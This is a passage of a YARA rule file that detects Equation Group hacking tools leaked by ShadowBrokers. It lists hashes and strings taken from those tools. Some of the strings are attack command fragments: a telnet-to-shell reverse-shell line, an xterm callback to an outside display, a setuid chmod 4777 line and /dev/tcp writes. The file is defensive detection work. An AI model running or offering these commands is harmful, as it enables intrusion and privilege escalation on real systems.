		$s1 = "executing ./ebbnew_linux -r %s -v %s -A %s %s -t %s -p %s" fullword ascii
		$s2 = "./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772" fullword ascii
		$s3 = "version 1 - Start with option #18 first, if it fails then try this option" fullword ascii
		$s4 = "%s is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 20KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup_eggbasket
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file eggbasket"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "b078a02963610475217682e6e1d6ae0b30935273ed98743e47cc2553fbfd068f"
		id = "3fb1388a-e6b8-5c7a-ad23-ddbfc9d33d56"

	strings:
		$x1 = "# Building Shellcode into exploit." fullword ascii
		$x2 = "%s -w /index.html -v 3.5 -t 10 -c \"/usr/openwin/bin/xterm -d 555.1.2.2:0&\"  -d 10.0.0.1 -p 80" fullword ascii
		$x3 = "# STARTING EXHAUSTIVE ATTACK AGAINST " fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 90KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup_jparsescan
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file jparsescan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
		id = "6b6a884e-0bbc-54f5-bb6c-00e15ca95250"

	strings:
		$s1 = "Usage:  $prog [-f directory] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii
		$s2 = "$gotsunos = ($line =~ /program version netid     address             service         owner/ );" fullword ascii

	condition:
		( filesize < 40KB and 1 of them )
}

rule EquationGroup_sambal
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file sambal"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "2abf4bbe4debd619b99cb944298f43312db0947217437e6b71b9ea6e9a1a4fec"
		id = "b02b442c-3e24-55f8-aa5c-926c3a3a75b4"

	strings:
		$s1 = "+ Bruteforce mode." fullword ascii
		$s3 = "+ Host is not running samba!" fullword ascii
		$s4 = "+ connecting back to: [%d.%d.%d.%d:45295]" fullword ascii
		$s5 = "+ Exploit failed, try -b to bruteforce." fullword ascii
		$s7 = "Usage: %s [-bBcCdfprsStv] [host]" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 90KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup_pclean_v2_1_1_2
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file pclean.v2.1.1.0-linux-i386"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
		id = "1b31af01-8c30-513a-a615-82dcb940e06d"

	strings:
		$s3 = "** SIGNIFICANTLY IMPROVE PROCESSING TIME" fullword ascii
		$s6 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and all of them )
}

rule EquationGroup_envisioncollision
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file envisioncollision"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "75d5ec573afaf8064f5d516ae61fd105012cbeaaaa09c8c193c7b4f9c0646ea1"
		id = "8d512d9a-45a5-514a-bee1-a364beeaf560"

	strings:
		$x1 = "mysql \\$D --host=\\$H --user=\\$U --password=\\\"\\$P\\\" -e \\\"select * from \\$T" fullword ascii
		$x2 = "Window 3: $0 -Uadmin -Ppassword -i127.0.0.1 -Dipboard -c\\\"sleep 500|nc" fullword ascii
		$s3 = "$ua->agent(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");" fullword ascii
		$s4 = "$url = $host . \"/admin/index.php?adsess=\" . $enter . \"&app=core&module=applications&section=hooks&do=install_hook\";" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 20KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule EquationGroup_cmsex
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file cmsex"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "2d8ae842e7b16172599f061b5b1f223386684a7482e87feeb47a38a3f011b810"
		id = "9a1051a5-3f31-5fc2-85a0-beb2dea962d6"

	strings:
		$x1 = "Usage: %s -i <ip_addr/hostname> -c <command> -T <target_type> (-u <port> | -t <port>) " fullword ascii
		$x2 = "-i target ip address / hostname " fullword ascii
		$x3 = "Note: Choosing the correct target type is a bit of guesswork." fullword ascii
		$x4 = "Solaris rpc.cmsd remote root exploit" fullword ascii
		$x5 = "If one choice fails, you may want to try another." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule EquationGroup_exze
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file exze"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "1af6dde6d956db26c8072bf5ff26759f1a7fa792dd1c3498ba1af06426664876"
		id = "d452b952-0c4a-501b-93f5-064d13f2c08e"

	strings:
		$s1 = "shellFile" fullword ascii
		$s2 = "completed.1" fullword ascii
		$s3 = "zeke_remove" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 80KB and all of them )
}

rule EquationGroup_DUL
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file DUL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "24d1d50960d4ebf348b48b4db4a15e50f328ab2c0e24db805b106d527fc5fe8e"
		id = "6dd90b30-30cb-531c-b8e2-fc208b21e8e6"

	strings:
		$x1 = "?Usage: %s <shellcode> <output_file>" fullword ascii
		$x2 = "Here is the decoder+(encoded-decoder)+payload" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 80KB and 1 of them ) or ( all of them )
}

rule EquationGroup_slugger2
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file slugger2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "a6a9ab66d73e4b443a80a69ef55a64da7f0af08dfaa7e17eb19c327301a70bdf"
		id = "3787a39e-0123-5b46-90c9-6b772b1fd96c"

	strings:
		$x1 = "usage: %s hostip port cmd [printer_name]" fullword ascii
		$x2 = "command must be less than 61 chars" fullword ascii
		$s1 = "__rw_read_waiting" ascii
		$s2 = "completed.1" fullword ascii
		$s3 = "__mutexkind" ascii
		$s4 = "__rw_pshared" ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and ( 4 of them and 1 of ( $x* ) ) ) or ( all of them )
}

rule EquationGroup_ebbisland
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ebbisland"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "eba07c98c7e960bb6c71dafde85f5da9f74fd61bc87793c87e04b1ae2d77e977"
		id = "d30b9f26-c2c5-5ecb-9f63-e96017788e40"

	strings:
		$x1 = "Usage: %s [-V] -t <target_ip> -p port" fullword ascii
		$x2 = "error - shellcode not as expected - unable to fix up" fullword ascii
		$x3 = "WARNING - core wipe mode - this will leave a core file on target" fullword ascii
		$x4 = "[-C] wipe target core file (leaves less incriminating core on failed target)" fullword ascii
		$x5 = "-A <jumpAddr> (shellcode address)" fullword ascii
		$x6 = "*** Insane undocumented incremental port mode!!! ***" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_jackpop
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file jackpop"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "0b208af860bb2c7ef6b1ae1fcef604c2c3d15fc558ad8ea241160bf4cbac1519"
		id = "7c650752-200b-51e7-95c2-4d385bfd5844"

	strings:
		$x1 = "%x:%d  --> %x:%d %d bytes" fullword ascii
		$s1 = "client: can't bind to local address, are you root?" fullword ascii
		$s2 = "Unable to register port" fullword ascii
		$s3 = "Could not resolve destination" fullword ascii
		$s4 = "raw troubles" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 3 of them ) or ( all of them )
}

rule EquationGroup_parsescan
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file parsescan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
		id = "bbe8b518-2bf0-5de4-8fb8-9b8609d393dc"

	strings:
		$s1 = "$gotgs=1 if (($line =~ /Scan for (Sol|SNMP)\\s+version/) or" fullword ascii
		$s2 = "Usage:  $prog [-f file] -p prognum [-V ver] [-t proto] -i IPadr" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_jscan
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file jscan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "8075f56e44185e1be26b631a2bad89c5e4190c2bfc9fa56921ea3bbc51695dbe"
		id = "c4cebc69-8ec8-5ad7-bd93-55565b3eb92b"

	strings:
		$s1 = "$scanth = $scanth . \" -s \" . $scanthreads;" fullword ascii
		$s2 = "print \"java -jar jscanner.jar$scanth$list\\n\";" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_promptkill
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file promptkill"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "b448204503849926be249a9bafbfc1e36ef16421c5d3cfac5dac91f35eeaa52d"
		id = "e0749b10-fa5a-5d73-86e1-e2008e121674"

	strings:
		$x1 = "exec(\"xterm $xargs -e /current/tmp/promptkill.kid.$tag $pid\");" fullword ascii
		$x2 = "$xargs=\"-title \\\"Kill process $pid?\\\" -name \\\"Kill process $pid?\\\" -bg white -fg red -geometry 202x19+0+0\" ;" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_epoxyresin_v1_0_0
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file epoxyresin.v1.0.0.1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "eea8a6a674d5063d7d6fc9fe07060f35b16172de6d273748d70576b01bf01c73"
		id = "390a13b0-3246-5bf7-8841-775a43045172"

	strings:
		$x1 = "[-] kernel not vulnerable" fullword ascii
		$s1 = ".tmp.%d.XXXXXX" fullword ascii
		$s2 = "[-] couldn't create temp file" fullword ascii
		$s3 = "/boot/System.map-%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and $x1 ) or ( all of them )
}

rule EquationGroup_estopmoonlit
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file estopmoonlit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "707ecc234ed07c16119644742ebf563b319b515bf57fd43b669d3791a1c5e220"
		id = "7ae7a8b7-5e27-5604-8c57-6d60ffa0fb72"

	strings:
		$x1 = "[+] shellcode prepared, re-executing" fullword ascii
		$x2 = "[-] kernel not vulnerable: prctl" fullword ascii
		$x3 = "[-] shell failed" fullword ascii
		$x4 = "[!] selinux apparently enforcing.  Continue [y|n]? " fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_envoytomato
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file envoytomato"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "9bd001057cc97b81fdf2450be7bf3b34f1941379e588a7173ab7fffca41d4ad5"
		id = "d1a43c98-9448-5a03-824d-5cd8e959fbf5"

	strings:
		$s1 = "[-] kernel not vulnerable" fullword ascii
		$s2 = "[-] failed to spawn shell" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_smash
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file smash"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "1dc94b46aaff06d65a3bf724c8701e5f095c1c9c131b65b2f667e11b1f0129a6"
		id = "9a8cb090-4f47-5674-accb-f233dbb19b71"

	strings:
		$x1 = "T=<target IP> [O=<port>] Y=<target type>" fullword ascii
		$x2 = "no command given!! bailing..." fullword ascii
		$x3 = "no port. assuming 22..." fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_ratload
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ratload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "4a4a8f2f90529bee081ce2188131bac4e658a374a270007399f80af74c16f398"
		id = "81590569-e81b-5d97-8295-cc6f018fab98"

	strings:
		$x1 = "/tmp/ratload.tmp.sh" fullword ascii
		$x2 = "Remote Usage: /bin/telnet locip locport < /dev/console | /bin/sh\"" fullword ascii
		$s6 = "uncompress -f ${NAME}.Z && PATH=. ${ARGS1} ${NAME} ${ARGS2} && rm -f ${NAME}" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_ys
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.auto"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "a6387307d64778f8d9cfc60382fdcf0627cde886e952b8d73cc61755ed9fde15"
		id = "abd120e7-23f8-530e-b21e-c50a2b571332"

	strings:
		$x1 = "EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\"" fullword ascii
		$x3 = "DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`" fullword ascii
		$x4 = "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME." fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup_ewok
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file ewok"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "567da502d7709b7814ede9c7954ccc13d67fc573f3011db04cf212f8e8a95d72"
		id = "379c233f-86f8-5116-a15c-8a80b27daea6"

	strings:
		$x1 = "Example: ewok -t target public" fullword ascii
		$x2 = "Usage:  cleaner host community fake_prog" fullword ascii
		$x3 = "-g  - Subset of -m that Green Spirit hits " fullword ascii
		$x4 = "--- ewok version" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 80KB and 1 of them )
}

rule EquationGroup_xspy
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file xspy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "841e065c9c340a1e522b281a39753af8b6a3db5d9e7d8f3d69e02fdbd662f4cf"
		id = "fcb7246a-d613-51d7-a4f7-f767fa5f79e1"

	strings:
		$s1 = "USAGE: xspy -display <display> -delay <usecs> -up" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 60KB and all of them )
}

rule EquationGroup_estesfox
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file estesfox"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "33530cae130ee9d9deeee60df9292c00242c0fe6f7b8eedef8ed09881b7e1d5a"
		id = "f2e8b8ba-af09-5e7c-a99c-4f620a0917c9"

	strings:
		$x1 = "chown root:root x;chmod 4777 x`' /tmp/logwatch.$2/cron" fullword ascii

	condition:
		all of them
}

rule EquationGroup_elatedmonkey_1_0_1_1
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file elatedmonkey.1.0.1.1.sh"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		modified = "2022-08-18"
		hash1 = "bf7a9dce326604f0681ca9f7f1c24524543b5be8b6fcc1ba427b18e2a4ff9090"
		id = "d8915305-2ed7-50b7-84d0-b139a6d3481a"

	strings:
		$s1 = "Usage: $0 ( -s IP PORT | CMD )" fullword ascii
		$s2 = "os.execl(\"/bin/sh\", \"/bin/sh\", \"-c\", \"$CMD\")" fullword ascii
		$s3 = "PHP_SCRIPT=\"$HOME/public_html/info$X.php\"" fullword ascii
		$s4 = "cat > /dev/tcp/127.0.0.1/80 <<" ascii

	condition:
		filesize < 15KB and 2 of them
}

rule EquationGroup_scanner
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- file scanner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
		id = "b2f9c534-0ca7-5223-b85e-8e74c3cfa6ff"

	strings:
		$x1 = "program version netid     address             service         owner" fullword ascii
		$x4 = "*** Sorry about the raw output, I'll leave it for now" fullword ascii
		$x5 = "-scan winn %s one" fullword ascii

	condition:
		filesize < 250KB and 1 of them
}

rule EquationGroup__ftshell_ftshell_v3_10_3_0
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
		hash2 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"

	strings:
		$s1 = "set uRemoteUploadCommand \"[exec cat /current/.ourtn-ftshell-upcommand]\"" fullword ascii
		$s2 = "send \"\\[ \\\"\\$BASH\\\" = \\\"/bin/bash\\\" -o \\\"\\$SHELL\\\" = \\\"/bin/bash\\\" \\] &&" ascii
		$s3 = "system rm -f /current/tmp/ftshell.latest" fullword ascii
		$s4 = "# ftshell -- File Transfer Shell" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 100KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup__scanner_scanner_v2_1_2
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files scanner, scanner.v2.1.2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
		hash2 = "9807aaa7208ed6c5da91c7c30ca13d58d16336ebf9753a5cea513bcb59de2cff"
		id = "bf1f2119-f742-5106-96f0-de88755275ef"

	strings:
		$s1 = "Welcome to the network scanning tool" fullword ascii
		$s2 = "Scanning port %d" fullword ascii
		$s3 = "/current/down/cmdout/scans" fullword ascii
		$s4 = "Scan for SSH version" fullword ascii
		$s5 = "program vers proto   port  service" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 100KB and 2 of them ) or ( all of them )
}

rule EquationGroup__ghost_sparc_ghost_x86_3
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files ghost_sparc, ghost_x86"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "d5ff0208d9532fc0c6716bd57297397c8151a01bf4f21311f24e7a72551f9bf1"
		hash2 = "82c899d1f05b50a85646a782cddb774d194ef85b74e1be642a8be2c7119f4e33"
		id = "ccc9c9be-8f78-5071-a11e-47f994cf8f08"

	strings:
		$x1 = "Usage: %s [-v os] [-p] [-r] [-c command] [-a attacker] target" fullword ascii
		$x2 = "Sending shellcode as part of an open command..." fullword ascii
		$x3 = "cmdshellcode" fullword ascii
		$x4 = "You will not be able to run the shellcode. Exiting..." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 70KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup__pclean_v2_1_1_pclean_v2_1_1_4
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files pclean.v2.1.1.0-linux-i386, pclean.v2.1.1.0-linux-x86_64"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
		hash2 = "ab7f26faed8bc2341d0517d9cb2bbf41795f753cd21340887fc2803dc1b9a1dd"
		id = "ed4a3b3a-0935-533b-80dd-ee23b2e8df00"

	strings:
		$s1 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
		$s2 = "e.g.: -n 1-1024,1080,6666,31337 " fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and all of them )
}

rule EquationGroup__jparsescan_parsescan_5
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files jparsescan, parsescan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
		hash2 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
		id = "964a4e49-9163-5dd6-bb2c-88fa39d5f356"

	strings:
		$s1 = "# default is to dump out all scanned hosts found" fullword ascii
		$s2 = "$bool .= \" -r \" if (/mibiisa.* -r/);" fullword ascii
		$s3 = "sadmind is available on two ports, this also works)" fullword ascii
		$s4 = "-x IP      gives \\\"hostname:# users:load ...\\\" if positive xwin scan" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 40KB and 1 of them ) or ( 2 of them )
}

rule EquationGroup__funnelout_v4_1_0_1
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files funnelout.v4.1.0.1.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash2 = "457ed14e806fdbda91c4237c8dc058c55e5678f1eecdd78572eff6ca0ed86d33"
		id = "b0c42b06-8314-5731-b333-59bb90785cf4"

	strings:
		$s1 = "header(\"Set-Cookie: bbsessionhash=\" . \\$hash . \"; path=/; HttpOnly\");" fullword ascii
		$s2 = "if ($code =~ /proxyhost/) {" fullword ascii
		$s3 = "\\$rk[1] = \\$rk[1] - 1;" ascii
		$s4 = "#existsUser($u) or die \"User '$u' does not exist in database.\\n\";" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 100KB and 2 of them ) or ( all of them )
}

rule EquationGroup__magicjack_v1_1_0_0_client
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files magicjack_v1.1.0.0_client-1.1.0.0.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
		id = "be18f36c-3d6c-53a3-89b6-bfc53e1dd87d"

	strings:
		$s1 = "temp = ((left >> 1) ^ right) & 0x55555555" fullword ascii
		$s2 = "right ^= (temp <<  16) & 0xffffffff" fullword ascii
		$s3 = "tempresult = \"\"" fullword ascii
		$s4 = "num = self.bytes2long(data)" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 80KB and 3 of them ) or ( all of them )
}

rule EquationGroup__ftshell
{
	meta:
		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-08"
		super_rule = 1
		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
		hash4 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"

	strings:
		$s1 = "if { [string length $uRemoteUploadCommand]" fullword ascii
		$s2 = "processUpload" fullword ascii
		$s3 = "global dothisreallyquiet" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 100KB and 2 of them ) or ( all of them )
}

rule EquationGroup_store_linux_i386_v_3_3_0
{
	meta:
		description = "Equation Group hack tool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
		date = "2017-04-09"
